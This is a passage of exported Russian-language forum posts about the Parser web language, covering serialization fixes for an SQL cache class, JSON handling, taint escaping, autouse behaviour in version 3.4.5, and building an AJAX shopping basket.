		}($uValue.[$tKey.key] is \"table\"){\
			$c[^uValue.[$tKey.key].columns[]]\
			$t[^table::create{^c.menu{$c.column}[^#09]}]\
			^tKey.menu{^t.join[$uValue.[$tKey.key]]}\
		}{\
			$t[^table::create{key}]\
			^tKey.menu{^t.append{$tKey.key}}\
		}\
		^self._save[table;$sFileSpec;$t]\
	}\
	^case[file]{\
		^uValue.save[binary;$sFileSpec]\
	}\
	^case[void]{}\
}\
$result[]\
\
\
\
@_load[sType;sFileSpec;hOption][f;t;c]\
^switch[$sType]{\
	^case[int]{\
		$f[^file::load[text;$sFileSpec]]\
		$result(^f.text.int(0))\
	}\
	^case[double]{\
		$f[^file::load[text;$sFileSpec]]\
		$result(^f.text.double(0))\
	}\
	^case[string]{\
		$f[^file::load[text;$sFileSpec]]\
		$result[$f.text]\
	}\
	^case[table]{\
		$result[^table::load[$sFileSpec;$.encloser[\"]]]\
	}\
	^case[hash]{\
		$t[^self._load[table;$sFileSpec]]\
		$c[^t.columns[]]\
		^switch[$hOption.hSql.type]{\
			^case[string]{$result[^t.hash[$c.column][value][$.type[$hOption.hSql.type]]]}\
			^case[table]{$result[^t.hash[$c.column][$.type[$hOption.hSql.type]]]}\
			^case[DEFAULT]{$result[^t.hash[$c.column]]]}\
		}\
	}\
	^case[file]{\
		$result[^file::load[binary;$sFileSpec]]\
	}\
	^case[void]{\
		$result[]\
	}\
}\
\
[/code]"
"84104","Можно выложить куда угодно, а ссылку запостить в форум. Или просто на mailbox@parser.ru отправьте измененный файл."
"84105","Этот гитхаб-репозиторий используется в  https://pkg.parser.ru. Подробнее о менеджере пакетов написал Леонид Князев в http://www.parser.ru/forum/?id=83877"
"84106","что правка в _save для type == table корректна.\
по моему должно быть так, ведь в _load десереализуем по первому столбцу:\
[code]\
}($uValue.[$tKey.key] is \"table\"){\
	$c[^uValue.[$tKey.key].columns[]]\
	$t[^table::create{key^c.menu{^#09$c.column}}]\
	^uValue.[$tKey.key].menu{^t.append{$tKey.key^c.menu{^#09$uValue.[$tKey.key][$c.column]}}}\
}{\
[/code]\
\
P.S. не проверял\
P.P.S. этот класс создавался, когда ещё не было json. сейчас всё можно сильно упростить, заменив ручную сериализацию/десериализацию на имеющуюся у json."
"84107","Я нашел ошибку для $.type[string] и только потом понял, что $.type[table] тоже не работает, поэтому исправлял за компанию. Может где-то не досмотрел"
"84108","в общем если ничего не напутал, то с json получается как-то так (в Sql.p заменить методы _save/_load на это):\
[code]\
@_save[sType;sFileSpec;uValue][s]\
^switch[$sType]{\
	^case[int;double;string]{\
		^uValue.save[$sFileSpec]\
	}\
	^case[table]{\
		^uValue.save[$sFileSpec;$.encloser[\"]]\
	}\
	^case[hash]{\
		$s[^json:string[$uValue;$.table[object]$.indent(true)]]\
		^s.save[$sFileSpec]\
	}\
	^case[file]{\
		^uValue.save[binary;$sFileSpec]\
	}\
	^case[void]{}\
}\
$result[]\
\
\
\
@_load[sType;sFileSpec;hOption][f;t;c]\
^switch[$sType]{\
	^case[int]{\
		$f[^file::load[text;$sFileSpec]]\
		$result(^f.text.int(0))\
	}\
	^case[double]{\
		$f[^file::load[text;$sFileSpec]]\
		$result(^f.text.double(0))\
	}\
	^case[string]{\
		$f[^file::load[text;$sFileSpec]]\
		$result[$f.text]\
	}\
	^case[table]{\
		$result[^table::load[$sFileSpec;$.encloser[\"]]]\
	}\
	^case[hash]{\
		$f[^file::load[text;$sFileSpec]]\
		$result[^json:parse[^taint[as-is][$f.text];$.array[$self._ao2t]]]\
	}\
	^case[file]{\
		$result[^file::load[binary;$sFileSpec]]\
	}\
	^case[void]{\
		$result[]\
	}\
}\
\
\
\
@_ao2t[key;value][h;k;v]\
$h[^value._at(0)]\
$result[^table::create{^h.foreach[k;]{$k^#09}}]\
^value.foreach[;h]{\
	^result.append{^h.foreach[;v]{$v^#09}}\
}\
[/code]\
\
\
Другой вариант сериализации хэша таблиц (получаемый файл чуть более компактный):\
используем ^json:string[...;$.table[array]] + ^json:parse[$.array[$self._aa2t]] +\
\
[code]\
@_aa2t[key;value][result;h;v]\
^if(def $key){\
	^value.foreach[;h]{\
		^if($result is \"table\"){\
			^result.append{^h.foreach[;v]{$v^#09}}\
		}{\
			$result[^table::create{^h.foreach[;v]{$v^#09}}]\
		}\
	}\
}{\
	$result[$value]\
}\
[/code]\
\
\
\
Далее тесты. \
В них делается по два одинаковых запроса, результаты обоих выводятся рядышком.\
В последующем sql логе видно, что реальных запросов string/int/double/table/hash в 2 раза меньше, т.е. каждый второй запрос кэшировался.\
\
При повторной загрузки страницы видно, что в логе есть только один запрос, у которого принудительно отключено кэширование.\
\
\
[code]\
@USE\
sql/MySql.p\
sql/SqlLog.p\
\
\
@main[]\
$oSQL[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[$MAIN:CACHE_DIR/_sql]\
	$.bCacheAuto(true)\
]]\
$oSQLLog[^SqlLog::create[$oSQL]]\
\
^oSQL.connect{\
^try{\
	^oSQL.void{CREATE TABLE test (id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, a TINYINT, b VARCHAR(31))}\
	^for[i](1;20){\
		^oSQL.void{INSERT INTO test (a, b) VALUES (^eval($i % 2), 'x${i}y')}\
	}\
}{\
	$exception.handled(true)\
}\
\
\
<style>\
	pre {margin-bottom: 0}\
</style>\
<table border=\"1\" cellspacing=\"0\" cellpadding=\"2\">\
\
$z[^oSQL.int{SELECT 2+2}[;$.bAuto(false)]]\
\
$s[SELECT id FROM test WHERE id = 2]\
<tr>\
<td>^oSQL.int{$s}</td><td>^oSQL.int{$s}</td>\
<tr>\
\
\
$s[SELECT id / 2 FROM test WHERE id = 9]\
<tr>\
<td>^oSQL.double{$s}</td><td>^oSQL.double{$s}</td>\
<tr>\
\
\
$s[SELECT b FROM test WHERE id = 2]\
<tr>\
<td>^oSQL.string{$s}</td><td>^oSQL.string{$s}</td>\
<tr>\
\
\
$s[SELECT id, a, b FROM test WHERE id < 4]\
<tr>\
<td><pre>^json:string[^oSQL.table{$s};$.indent(true)]</pre></td><td><pre>^json:string[^oSQL.table{$s};$.indent(true)]</pre></td>\
<tr>\
\
\
$s[SELECT id, a, b FROM test WHERE id > 18]\
<tr>\
<td><pre>^json:string[^oSQL.hash{$s};$.indent(true)]</pre></td><td><pre>^json:string[^oSQL.hash{$s};$.indent(true)]</pre></td>\
<tr>\
\
\
$s[SELECT a, b FROM test WHERE id > 16]\
<tr>\
<td><pre>^json:string[^oSQL.hash{$s}[$.type[table]$.distinct(true)];$.indent(true)]</pre></td><td><pre>^json:string[^oSQL.hash{$s}[$.type[table]$.distinct(true)];$.indent(true)]</pre></td>\
<tr>\
\
\
$s[SELECT id, b FROM test WHERE id > 11 AND id < 15]\
<tr>\
<td><pre>^json:string[^oSQL.hash{$s}[$.type[string]];$.indent(true)]</pre></td><td><pre>^json:string[^oSQL.hash{$s}[$.type[string]];$.indent(true)]</pre></td>\
<tr>\
\
\
</table>\
\
\
<pre>\
^oSQLLog.print[\
	$.bAll(true)\
]\
</pre>\
}\
[/code]\
\
P.S. было бы здорово, если бы кто-нить ещё потестировал."
"84109","[url=\"http://www.parser.ru/download/\"]Выпущена[/url] версия 3.4.5, обновлена [url=\"http://www.parser.ru/docs/\"]документация[/url].\
Перечень изменений в [url=\"http://www.parser.ru/news/\"]новостях[/url].\
\
P.S. 29 апреля парсеру исполняется 15 лет. Спасибо всем кто есть, был или будет с нами на этом долгом пути. Интересно, что кроме Парсера похоже никто так и не пытается конкурировать с php в нише \"легковесных\" (CGI) веб-языков."
"84110","[quote]Спасибо всем кто есть, был или будет с нами на этом долгом пути.[/quote]\
\
Спасибо за работу!\
\
[quote]Интересно, что кроме Парсера похоже никто так и не пытается конкурировать с php в нише \"легковесных\" (CGI) веб-языков.[/quote]\
\
Скоро PHP заборем, мировое господство — вот-вот!"
"84111","Доброе время суток!\
Подскажите пожалуйста, как правильно выполнить преобразование?\
[code]$s[Рога & \"Копыта\"]\
^taint[html][$s][/code]\
Получаем:\
[quote]Рога &amp; &quot;Копыта&quot;[/quote]\
А нужно получить:\
[quote]Рога & &quot;Копыта&quot;[/quote]\
Как сделать, чтобы амперсанд не преобразовывался, а кавычки - да?"
"84113","Спасибо. А почему вариант с двойной оберткой не срабатывает?\
[code]^untaint{^taint[…]}[/code]\
Ну, чтобы выполнился taint, а потом его результат бы отuntaintился."
"84115","[quote]^untaint{^taint[…]}\
Ну, чтобы выполнился taint, а потом его результат бы отuntaintился.[/quote]\
\
По-моему вы не понимаете как работает taint."
"84117","Так не получится, т.к. там текст приходит в переменной. :)\
Ну, в общем понятно, придется риплэйсом либо матчем."
"84118","Я рад, что Парсер жив и здоров!"
"84119","Пользуюсь Парсером с 2005 года, несколько раз делал попытки пересесть на Python, Ruby, но возвращался. Основные причины: \
- можно писать код со скоростью обычного текста. Может, это моя особенность мышления, но скорее всего - особенность синтаксиса языка. Производительность зашкаливает))\
- Taint внешних данных!! Мои сайты ломали, поймав пароль ftp, залезая через shell, но чтобы через морду - такого не было ни разу, хотя бывают дни, когда запросы на уязвимость форм сыплются сотнями. \
- скорость выполнения и нетребовательность к ресурсам. Покажите мне на любом другом языке проект с 20к посетителей в день, которые берут по 2-3к строк из БД или хэшфайла, и все это крутится на обычном виртуальном хостинге. \
\
Короче, спасибо и долгих лет!"
"84120","Полезно скорее для новичков, многие из моих знакомых это оценили и пользуются: сообщение об неучтенной ошибке в Парсере просто какое-то нереально информативное. Многие ошибки может поправить даже не программист."
"84121","Здравствуйте!\
Начал хранить данные в БД в формате JSON и обмениваться данными между JS.\
Сейчас Parser хорошо принимает и фильтрует JSON отправленный из JS, а вот сделать обратное, отправить JSON в JS не получается.\
\
Parser преобразует в JSON в таком виде:\
{ \"0\":{ \"item\":\"3\", \"quantity\":6, \"price\":\"100\" }, \"2\":{ \"item\":\"4\", \"quantity\":1, \"price\":\"99\" } }\
\
В таком же виде у меня все и храниться в БД.\
\
JS отправляет в Parser в таком виде:\
[{\"item\":\"3\",\"quantity\":6,\"price\":\"100\"},{\"item\":\"4\",\"quantity\":1,\"price\":\"99\"}]\
\
При отправке из Parser в JS посредством JSON, JS не понимает.\
При передаче GET определенных параметров происходит следующее:\
\
[code]^if(def $form:showJSON && def $form:uuid && !def $form:basket && !def $form:basketAction){\
			$_basketQuery[^get.query[\
				$.table[basket]\
				$.select[\
					$.bID[= '$form:uuid']\
				]\
			]]\
			$_basketData[^get.selectData[$_basketQuery]]\
			$_basketJSON[\
				$.uuid[$_basketData.bID]\
				$.items[$_basketData.items]\
				$.create_at[$_basketData.create_at]\
			]\
			^json:string[$_basketJSON]\
		}\
[/code]\
$_basketData.items как раз записаны в формате JSON Parser.\
\
Хочу чтобы при получении из JS Parser преобразовывал как ему удобно, но перед записью в БД он преобразовывал в JS формат.\
При запросах к БД, Parser так же обратно преобразовывал в свой формат.\
\
Подскажите как это реализовать?\
Пробовал Regex, ничего не получается, слишком много совпадений."
"84122","Имеем следующую структуру:\
\
[b]test.html[/b]\
\
[code]@main[]\
result\
\
$a[^MY::create[]]\
\
\
@autouse[class]\
^use[/${class}.p]\
[/code]\
\
[b]MY.p[/b]\
\
[code]\
@CLASS\
MY\
\
@OPTIONS\
locals\
\
@BASE\
MYBASE\
\
\
@create[]\
[/code]\
\
[b]MYBASE.p[/b]\
\
[code]\
@CLASS\
MYBASE\
\
[/code]\
\
\
При попытке открытия  test.html выдает следующую ошибку\
\
[quote]Unhandled Exception (parser.compile)\
\
'MYBASE': undefined class in @BASE[/quote]\
\
Если в MYBASE добавить метод @create[], то начинает работать...\
Это ошибка или фича?"
"84123","[b]test.html[/b]\
\
[code]@main[]\
result\
\
^use[START.p]\
^START:run[][/code]\
\
\
\
[b]START.p[/b]\
\
[code]@CLASS\
START\
\
@OPTIONS\
locals\
\
@run[]\
$MAIN:autouse[$self.autouse]\
hello\
#^MAIN:autouse[MYBASE]\
#^MAIN:autouse[MY]\
$a[^MY::create[]]\
\
\
@autouse[class]\
^use[/${class}.p]\
[/code]\
\
\
\
[b]MY.p[/b]\
\
[code]@CLASS\
MY\
\
@OPTIONS\
locals\
\
@BASE\
MYBASE\
\
\
@create[]\
[/code]\
\
\
\
[b]MYBASE.p[/b]\
\
\
[code]@CLASS\
MYBASE\
\
@create[]\
[/code]\
\
\
Т.е. пытаемся из класса START переопределить $MAIN:autouse и это получается. Если проверить MAIN:autouse = junction.\
\
Только такой autouse автоматически не вызывается.\
\
Если раскомментировать строки вызова ^MAIN:autouse[MY], то работает.\
\
В версии 3.4.4 такой код работал."
"84125","[quote]Parser преобразует в JSON в таком виде:[/quote]\
\
Парсер выводит то, что вы ему даёте.\
В данном случае хеш будет преобразован JS-объект.\
\
Даём таблицу — получаем требуемое.\
[code]@main[]\
$table[^table::create{item	quantity	price\
3	6	100\
4	1	99}]\
^json:string[$table][/code]\
\
[code][ {\"item\":\"3\",\"quantity\":\"6\",\"price\":\"100\"}, {\"item\":\"4\",\"quantity\":\"1\",\"price\":\"99\"} ][/code]\
\
Либо можно просто перебрать хеш, выводя в JSON только хеши-значения:\
[code][^hash.foreach[;value]{^json:string[$value]}[,]][/code]\
\
Либо можно написать свой сериализатор и указать его для некоторых хешей в опциях у json:string.\
Фактически это будет предыдущий вариант в виде отдельного метода.\
\
Никакие регулярные выражения тут и близко не нужны."
"84126","Спасибо, foreach работает как надо.\
Еще такой вопрос,\
\
[code]\
$_basketJSON[{\
	\"uuid\": \"$_basketData.bID\"\
	\"items\": ^taint[as-is;$_basketData.items]\
	\"create_at\": \"$_basketData.create_at\"\
}]\
$_basketJSON\
[/code]\
Результат:{ \"uuid\": \"1B7B15DD-B50A-47CA-AF64-40905E740D9C\" \"items\": [{ \"item\":\"3\", \"quantity\":6, \"price\":\"100\" }] \"create_at\": \"2017-05-01 17:54:38\" }\
\
\
[code]\
$_basketJSON[\
	$.uuid[$_basketData.bID]\
	$.items[^taint[as-is;$_basketData.items]]\
	$.create_at[$_basketData.create_at]\
]\
^json:string[$_basketJSON]\
[/code]\
Результат: { \"uuid\":\"1B7B15DD-B50A-47CA-AF64-40905E740D9C\", \"items\":\"[{\\n\\\"item\\\":\\\"3\\\",\\n\\\"quantity\\\":6,\\n\\\"price\\\":\\\"100\\\"\\n}]\", \"create_at\":\"2017-05-01 17:54:38\" }\
\
В первом примере формируется нужный вид, но JS его не воспринимает, во втором примере JS воспринимает, но мешают \\n и \\\
\
как избавиться от \\n и \\ чтобы заработало?\
Я так понял, что проблема в том, что в БД записывается с переносами, но при этом ^taint[as-is;$_basketData.items] их убирает, если только его вызывать, но если преобразовывать хэш в JSON переносы опять появляются."
"84127","[quote]как избавиться от \\n и \\ чтобы заработало?[/quote]\
\
Очевидно, что в $_basketJSON.items находится строка с переводами строк и json:string её честно выводит.\
Убрать переводы строк мало, строка всё равно будет выведена в результат в виде строки, а не в виде массива объектов.\
\
Подозреваю, что вы сформировали строку перебором хеша и положили в items.\
Так вы желаемого не получите.\
\
Самое простое — сформировать хеш, в items которого положить таблицу.\
После чего однократный json:string даст необходимый результат.\
\
Сформировать таблицу можно перебором хеша или изначально извлекать из БД данные в виде таблицы."
"84128","Использую следующий метод include\
\
[code]##############################################################################\
@include[sFilename;oContext][fFile]\
	$fFile[^file::load[text;$sFilename]]\
	^process[^if(def $oContext){$oContext}{$caller.self}]{^untaint[as-is]{$fFile.text}}[\
	   $.file[$sFilename]\
	]\
#end @include[]\
[/code]\
\
При подключении файла с параметрами окружения в виде environment.p \
\
[code]\
$DEFAULT_MARKUP(30)\
$DOCUMENT_PER_PAGE(50)\
[/code]\
\
На версии 3.4.4 обе переменные были доступны после вызова ^include[environment.p] При проверке Parser 3.4.5 они уже не доступны. \
\
В данном случае при изменении на $self.DEFAULT_MARKUP ситуация исправляется.\
\
Правильно ли это?\
\
Моя логика такова: include окружение создает переменные в заданной области видимости (по-умолчанию, в контексте вызова). Я рассчитываю, что все вложенные вызовы тоже должны видеть эти переменные, но с 3.4.5 это уже не так."
"84129","У БД следующая структура:\
bID	char(255)\
items	text\
create_at	datetime\
\
Сделал вот так:\
[code]\
$_tableItems[^table::create{item	quantity	price}]\
^_hash.items.foreach[;value]{\
  ^if($value is hash){\
    ^_tableItems.append[\
      ^value.foreach[key;value]{\
        ^if($key eq 'item'){$.item[$value]}\
        ^if($key eq 'quantity'){$.quantity[$value]}\
        ^if($key eq 'price'){$.price[$value]}\
      }\
    ]\
  }\
}\
$_hashItems[^json:string[$_tableItems]]\
[/code]\
\
Немного подумал и понял:\
[code]\
$_basketString[^taint[as-is;$_basketData.items]]\
$_basketHash[^json:parse[$_basketString]]\
$_tableItems[^table::create{item	quantity	price}]\
^_basketHash.foreach[;value]{\
  ^if($value is hash){\
    ^_tableItems.append[\
      ^value.foreach[key;value]{\
        ^if($key eq 'item'){$.item[$value]}\
        ^if($key eq 'quantity'){$.quantity[$value]}\
        ^if($key eq 'price'){$.price[$value]}\
      }\
    ]\
  }\
}\
\
$_basketJSON[\
  $.uuid[$_basketData.bID]\
  $.items[$_tableItems]\
  $.create_at[$_basketData.create_at]\
]\
^json:string[$_basketJSON]\
[/code]"
"84130","[code]@main[]\
$hash[\
	$.3[\
		$.item[3]\
		$.quantity[6]\
		$.price[100]\
	]\
	$.4[\
		$.item[4]\
		$.quantity[1]\
		$.price[99]\
	]\
]\
$table[^table::create{item	quantity	price}]\
^hash.foreach[;item]{\
	^table.append[$item]\
}\
\
$json[\
  $.uuid[123]\
  $.items[$table]\
  $.create_at[^date::now[]]\
]\
\
^json:string[$json]\
[/code]"
"84131","По-идее ничего в этом плане не менялось, Для точной диагностики нужен пример кода с проблемой, например в таком коде (с вашим @include и environment.p) проблемы не наблюдаю.\
\
[code]@main[]\
^include[environment.p]\
=$DEFAULT_MARKUP=\
=$DOCUMENT_PER_PAGE=\
[/code]\
\
Выводит, как и предполагалось:\
=30=\
=50="
"84132","[quote]Т.е. пытаемся из класса START переопределить $MAIN:autouse. Только такой autouse автоматически не вызывается. В версии 3.4.4 такой код работал.[/quote]\
\
Ну вот если бы этот тест был прислан не спустя полтора месяца, а раньше, то в 3.4.5 осталось бы старое поведение. А теперь, увы. С точки зрения документации все корректно: \"вызывается метод autouse класса MAIN\". А конструкция $MAIN:autouse[$self.autouse] не добавляет метод в класс, а добавляет свойство, содержащее ссылку на метод.\
\
Старое поведение мы вернем (изменение поведения не планировалось, это побочный эффект небольшой оптимизации), но теперь это получится сделать только в ночных сборках. А для 3.4.5 исправить проще всего именно добавлением метода в MAIN, для чего есть новый функционал. То есть заменить\
\
[code]$MAIN:autouse[$self.autouse][/code]\
\
на\
\
[code]^reflection:mixin[$self; $.to[$MAIN:CLASS] $.name[autouse] $.overwrite(true) ]\
[/code]"
"84133","[quote]Это ошибка или фича?[/quote]\
\
Зависит от того, насколько такое поведение документировано. :) По факту да, класс без методов просто не добавляется в список классов. То есть недостаточно написать\
\
[code]@CLASS\
name[/code]\
\
Надо еще какой-нибудь метод объявить. И наверное это не совсем правильно, поскольку вполне может быть статический класс для хранения например констант (хотя и в нем логичнее заполнить эти константы в @auto[]), но исторически это так и вроде как никому не мешало."
"84134","20к юзеров в день, отстутсвие взломов и даже работа на бекенде..."
"84135","При таком foreach выдает ошибку, $item есть хэш и в таблицу не записывает.\
Работает только такая конструкция:\
\
hash: { \"0\":{ \"item\":\"3\", \"quantity\":4, \"price\":\"100\" }, \"1\":{ \"item\":\"4\", \"quantity\":1, \"price\":\"99\" } }\
\
[code]\
^hash.foreach[;item]{\
  ^if($item is hash){\
    ^table.append[\
      ^item.foreach[key;value]{\
        ^if($key eq 'item'){$.item[$value]}\
        ^if($key eq 'quantity'){$.quantity[$value]}\
        ^if($key eq 'price'){$.price[$value]}\
      }\
    ]\
  }\
}\
[/code]"
"84137","Подозреваю, что ошибка, о которой вы говорите, звучит как «column value must be string» и к хешу отношения не имеет.\
Вы тоже создаёте хеш, только с кучей ненужных проверок.\
\
Проблема в этом случае в значениях хеша — они должны быть строками, это тонкость работы Парсера при вставке данных в таблицу из хеш-аргумента."
"84138","Как мне учесть эти тонкости, чтобы значения были строками?\
Ваш вариант более компактный и мне очень нравиться."
"84139","[quote]Как мне учесть эти тонкости, чтобы значения были строками?[/quote]\
\
Очевидно, хранить их в хеше виде строк.\
\
Либо сделать лишний перебор полей каждого элемента, что дороже:\
[code]^hash.foreach[;item]{\
	^table.append[^hash::create[\
		^item.fields.foreach[key;value]{\
			$.$key[$value]\
		}\
	]]\
}\
[/code]"
"84141","Отправлял в Parser из JS поле quantity в числовом значении, а не как строку, из за этого все проблемы, теперь все работает и компактно."
"84142","Столкнулся с такой проблемой:\
\
В auto.p есть ^dispatch[$form:url] он управляет uri,\
есть js скрипт который отправляет post параметры в Parser и обрабатывает данные (ajax корзина),\
есть серверная часть /file.html который обрабатывает данные и работает с БД и возвращает в js ответ,\
js в свою очередь обновляет данные выводя их в определенный div.\
\
Хочу реализовать корзину в двух вариантах, в маленькой будет только количество товаров и сумма, что работает хорошо, данные обновляются и все прекрасно взаимодействует.\
\
Вторая, большая корзина располагаться будет по статичному адресу /basket, /basket в свою очередь определен в auto.p (^dispatch[$form:url]).\
\
Если делаю с помощью js post запрос в /basket, то там не видно $form:fields, как например их видно в /file.html\
\
Проблема такая, что в большой корзине должны быть элементы управления, кнопки +, -, удалить.\
\
Если делаю весь функционал в /file.html, то элементы управления не работают, так как в нем не подключен внутри этот js скрипт, а если его подключить в этом файле, то скрипты дублируются в шапке и в файле и работа нарушается.\
\
В /basket вообще ничего не получается, так как не видно $form:fields если делать post через js.\
\
Помогите пожалуйста понять в какую сторону идти?"
"84143","Условно:\
— [color=\"#0000FF\"]page.html[/color]\
Генерирует страницу, содержит включение JS-файла с кодом ([color=\"#0000FF\"]basket.js[/color]), обрабатывающим корзину.\
\
— [color=\"#0000FF\"]basket.html[/color]\
Обрабатывает AJAX-запросы по добавлению, удалению товаров, изменению их количества.\
Возвращает данные в виде фрагмента HTML или JSON.\
\
При явном обращении (не посредством AJAX) генерирует страницу со списком товаров, включает [color=\"#0000FF\"]basket.js[/color].\
Отправляет информацию об изменении товаров сама себе, получает данные сама от себя.\
\
Разный вид корзины определяется шаблонами в [color=\"#0000FF\"]basket.html[/color] или логикой и шаблонами в [color=\"#0000FF\"]basket.js[/color] (в случае если работа идёт с JSON-данными).\
\
— [color=\"#0000FF\"]basket.js[/color]\
Принимает данные в виде фрагмента HTML или JSON от [color=\"#0000FF\"]basket.html[/color] и выводит корзину на странице.\
Обрабатывает элементы управления добавлением, удалением и изменением количества товаров, отправляет данные [color=\"#0000FF\"]basket.html[/color].\
\
\
В принципе, обработку AJAX-данных и генерацию страницы корзины можно разнести по разным файлам — это дело вкуса и удобства.\
Тогда, скажем, [color=\"#0000FF\"]basket.html[/color] генерирует страницу корзины, а [color=\"#0000FF\"]basket-ajax.html[/color] обрабатывает запросы и возвращает текущую корзину.\
\
\
[quote]не видно $form:fields[/quote]\
Это у вас где-то ошибка маршрутизации, например редирект по пути к адресу, получающему данные."
"84144","Значение bAuto, переданное параметром лежит в $hOptions.hCache.bAuto\
\
Вот так вроде правильно:\
[code]\
@_getFileSpec[hOptions][result]\
^if(def $hOptions.hCache.sFile){\
	$result[$self.sCacheDir/$hOptions.hCache.sFile]\
}(^hOptions.hCache.bAuto.bool($self.bCacheAuto)){\
	$result[$self.sCacheDir/$self.sCacheAutoSubDir/^math:md5[$hOptions.sQuery]^if(def $hOptions.hSql && ($hOptions.hSql.limit || $hOptions.hSql.offset)){=$hOptions.hSql.limit=$hOptions.hSql.offset}.$hOptions.sType]\
}{\
	$result[]\
}\
[/code]"
"84146","Забывать стал, но помню что как-то просто было, и в поиске не нашел\
\
[code]$response:content-type[\
	$.value[application/atom+xml]\
	$.charset[$response:charset]\
][/code]\
\
При таких заголовках браузер выплевывает диалог загрузки, а хотелось бы чтобы просто отобразил содержимое. Если вернуть на text/html все отображается без загрузки, но это ж как-то неправильно."
"84148","Теперь можно будет и число передавать."
"84149","Стоит хотя бы название и версию браузера написать.\
А лучше — привести код формирования ответа и заголовки, которые возвращает Парсер.\
\
Win7x64, Chrome — диалогов нет, браузер выводит содержимое."
"84150","FF, Chrome на MAC всё последние версии, версия Parser 3.4.4\
\
тело ответа пробовал разными путями отдавать, от банального:\
\
[code]$result[^untaint[xml]{ ... }][/code]\
\
до посложнее\
\
[code]$response:body[^file::create[text;file.xml;^untaint[xml]{ ... }]][/code]\
\
результат одинаков"
"84151","[code]@main[]\
$response:body[<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<feed xmlns=\"http://www.w3.org/2005/Atom\">\
	<title>Мой блог</title>\
	<subtitle>Самый лучший блог на свете</subtitle>\
	<link href=\"http://example.org/\"/>\
	<updated>2003-12-13T18:30:02Z</updated>\
	<author>\
		<name>Иван Петров</name>\
		<email>petrov@example.com</email>\
	</author>\
	<id>urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6</id>\
	<entry>\
		<title>Фотографии из Африки</title>\
		<link href=\"http://example.org/2003/12/13/atom03\"/>\
		<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\
		<updated>2003-12-13T18:30:02Z</updated>\
		<summary>Я вернулся из Африки и выложил свои фотографии...</summary>\
	</entry>\
</feed>]\
$response:content-type[\
	$.value[application/atom+xml]\
	$.charset[$response:charset]\
][/code]\
\
[code]Запрос HTTP послан, ожидается ответ...\
  HTTP/1.1 200 OK\
  Date: Fri, 05 May 2017 14:21:55 GMT\
  Server: Apache/2.2.15 (Win32) mod_ssl/2.2.15 OpenSSL/0.9.8m PHP/5.2.4\
  Content-Length: 734\
  Keep-Alive: timeout=5, max=100\
  Connection: Keep-Alive\
  Content-Type: application/atom+xml; charset=UTF-8\
Длина: 734 [application/atom+xml][/code]\
\
Win7x64, OS X 10.11.6, Chrome 51."
"84152","[quote]— page.html\
Генерирует страницу, содержит включение JS-файла с кодом (basket.js), обрабатывающим корзину.[/quote]\
\
В моем случае auto.p генерирует страницу исходя из $form:url, а в header.p генерируется шапка, меню и подключаются JS-файлы исходя из $form:url.\
\
Мне можно это не менять и все будет в порядке?\
\
[quote]При явном обращении (не посредством AJAX) генерирует страницу со списком товаров, включает basket.js.\
Отправляет информацию об изменении товаров сама себе, получает данные сама от себя.[/quote]\
\
Получается если мне нужно чтобы адрес корзины был /basket, а фактическое местонахождение файла basket.html скажем /folder/ajax/basket.html, то мне нужно в .htaccess прописать: RewriteRule ^basket?$ /folder/ajax/basket.html$1 [L,QSA]\
или можно по адресу /basket с помощью Parser как то подключить html файл?\
или посредством ajax при нахождении по адресу /basket выводить в div данные html файла?\
\
и как мне правильно включить basket.js в basket.html, если в header.p уже включен basket.js и при дублировании включения работа нарушается\
\
Как может файл basket.html отправлять информацию об изменении товаров сама себе, получать данные сама от себя?\
При этом в реальном времени без перезагрузки страницы."
"84153","Мой вам совет: уберите все рерайты, сделайте отдельные файлы, добейтесь того, чтобы всё заработало с отдельными файлами. Затем уже думайте о том, какие у них будут пути. Вы сами себя запутываете.\
\
[quote]Как может файл basket.html отправлять информацию об изменении товаров сама себе, получать данные сама от себя?[/quote]\
\
JS-код, включённый в basket.html делает POST-запрос к basket.html (собственно, он всегда отправляет запросы к /basket.html и ему всё равно, по какому адресу находится страница, его включившая).\
basket.html видит, что к нему обращаются посредством AJAX (заголовок X_REQUESTED_WITH) и возвращает данные для отрисовки «маленькой» корзины на странице."
"84154","Получается следующее, header.p включает на всех генерируемых страницах JS-файлы, кроме тех, которые отображаются через AJAX.\
\
Если подключаю на странице basket.html эти самые JS-файлы, то они дублируются с теми, что в шапке и получается в консоли такие вот записи обновляются менее чем раз в секунду: XHR finished loading.\
\
Со всем остальным разобрался, создал страницу basket.html, которая выводит корзину без обращения к ней AJAX-ом, но вызывается им, чтобы отображаться в #content на странице /basket.\
\
JS-файл обрабатывает все кнопки и отправляет в файл для изменений.\
\
Единственное чего не могу понять, так как правильно подключать JS-файлы, все это время искал в интернетах ответ на мою проблему и не нашел его.\
\
Так как обсуждение пошло не в рамках Parser, так как с ним разобрался, более писать не буду про JS.\
\
Но, если у вас есть в этом опыт, расскажите как это сделать или скиньте ссылку, где про это рассказывают, так как спросить у гугла правильно не могу."
"84155","[quote]как правильно подключать JS-файлы[/quote]\
\
Когда страница работает, так сказать, в AJAX-режиме (то есть совершает некие действия и будет возвращать только данные, а не полный HTML страницы) на ней не нужно включать никакие скрипты и формировать прочую HTML-обвязку.\
\
Очень условный пример:\
page.html:\
[code]@auto[]\
$basket[^load_basket[]]\
$items[\
	$.1[Item 1]\
	$.2[Item 2]\
	$.3[Item 3]\
	$.4[Item 4]\
]\
\
\
@main[]\
^response[]\
\
\
@response[]\
<!DOCTYPE html>\
<html lang=\"ru\">\
	<head>\
		^head[]\
	</head>\
	<body>\
		^body[]\
		^scripts[]\
	</body>\
</html>\
\
\
@head[]\
^title[]\
^styles[]\
\
\
@title[]\
<title>Page</title>\
\
\
@styles[]\
<style>\
	#items li, #full-basket td { cursor: pointer^; }\
	.in-basket { font-weight: bolder^; }\
</style>\
\
\
@body[]\
^basket[]\
^items[]\
\
\
@scripts[]\
<script src=\"//yastatic.net/jquery/3.1.1/jquery.min.js\"></script>\
<script src=\"/basket.js\"></script>\
\
\
@load_basket[]\
$result[^table::load[/basket.txt]]\
$result[^result.hash[id]]\
\
\
@save_basket[]\
$new_basket[^table::create{id	title}]\
\
^basket.foreach[;item]{\
	^new_basket.append[$item]\
}\
\
^new_basket.save[/basket.txt]\
\
\
@basket[]\
<div id=\"basket\">\
	<h2><a href=\"/basket.html\">Basket</a></h2>\
	^if($basket){\
		<ol>\
			^basket.foreach[;item]{\
				<li>$item.title</li>\
			}\
